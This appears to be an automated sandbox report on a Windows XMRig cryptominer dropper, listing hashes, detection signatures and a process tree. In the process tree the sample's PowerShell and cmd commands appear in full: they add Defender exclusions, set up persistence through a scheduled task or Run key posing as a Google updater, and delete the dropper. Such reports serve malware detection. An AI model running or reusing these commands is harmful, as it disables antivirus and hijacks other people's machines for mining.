Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
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max time kernel
246s -
max time network
1790s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
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submitted
24/12/2023, 12:16
General
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Target
RmJBfzgfbWELMdgn.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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XMRig Miner payload 30 IoCs
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Deletes itself 1 IoCs
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Executes dropped EXE 1 IoCs
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Loads dropped DLL 1 IoCs
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UPX packed file 31 IoCs
Detects executables packed with UPX/modified UPX open source packer.
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Drops file in System32 directory 5 IoCs
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Suspicious use of SetThreadContext 2 IoCs
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Drops file in Program Files directory 4 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
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Suspicious behavior: EnumeratesProcesses 25 IoCs
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Suspicious use of AdjustPrivilegeToken 31 IoCs
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Suspicious use of WriteProcessMemory 20 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskeng.exetaskeng.exe {31006620-FC86-4B79-9ADC-FE143AF99696} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"1⤵
- Creates scheduled task(s)
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
71KB
MD5c0f6f8c4cda4fd4de5a37fde388e2477
SHA13955f47535d47c762fe46a73c496a4a1d61437a7
SHA256099488a794c7d61fc8e96065046fd843f29178f5b84bd0bbc05881346277f822
SHA512b85a3781e6b827641b5aa4fe20e065ac24b5c3651f7e12dbc704df8fdce3036e77b8b4a14ae3f6d564dd16991c6d4c122653c9075031c7c2642b65f14f77009e
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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Filesize
7KB
MD525afe6d8b99d2c70d1b0add464751168
SHA1def941979a3e218f4245c19a2d3f246c82ed883f
SHA256bf4f7b70e61599d539ceccb9e54f89fcd361f299e7c1d57c07317d762bf7644c
SHA512af9c2a0ec2e6b7f011616609d137bbb3dd089b13d25b9087f9775995ef74d2673aca39d897466928f434456886a54d4c27257a4c0ba0697b4e337dc3fcfd4241
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Filesize
76KB
MD51845c8abdc88b17972d186d977a0904e
SHA17dc61dc7e64b57502b2106692782af9ef8c9b252
SHA256b6baf621109892aa100de4de2b688afdaff475e617308f1bed1ff4b6a2eb4171
SHA5125be6ba38f789fceddce388067cc20d01bda5033a1bf518f3575c94d28dac81b80e7dc1adef71cc44c2f0c88df3da8cf5bc599b4759f19d8035e000140027a526
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Filesize
9.6MB
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Filesize
412KB
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Filesize
9.6MB
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Filesize
512KB
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Filesize
12KB
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Filesize
9.6MB
-
Filesize
512KB
-
Filesize
88KB
-
Filesize
88KB
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Filesize
9.6MB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
32KB
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Filesize
512KB
-
Filesize
2.9MB
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Filesize
9.6MB
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Filesize
9.6MB
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Filesize
9.6MB
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Filesize
9.6MB
-
Filesize
512KB
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Filesize
512KB
-
Filesize
512KB
-
Filesize
9.6MB
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Filesize
9.6MB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
512KB
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Filesize
9.6MB
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Filesize
9.6MB
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Filesize
32KB
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Filesize
9.6MB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
512KB
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Filesize
2.9MB
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Filesize
512KB
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Filesize
2.1MB
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Filesize
2.1MB
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Filesize
8.0MB
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Filesize
8.0MB
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Filesize
128KB
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Filesize
128KB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
-
Filesize
8.0MB
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Filesize
8.0MB
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Filesize
2.1MB
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Filesize
2.1MB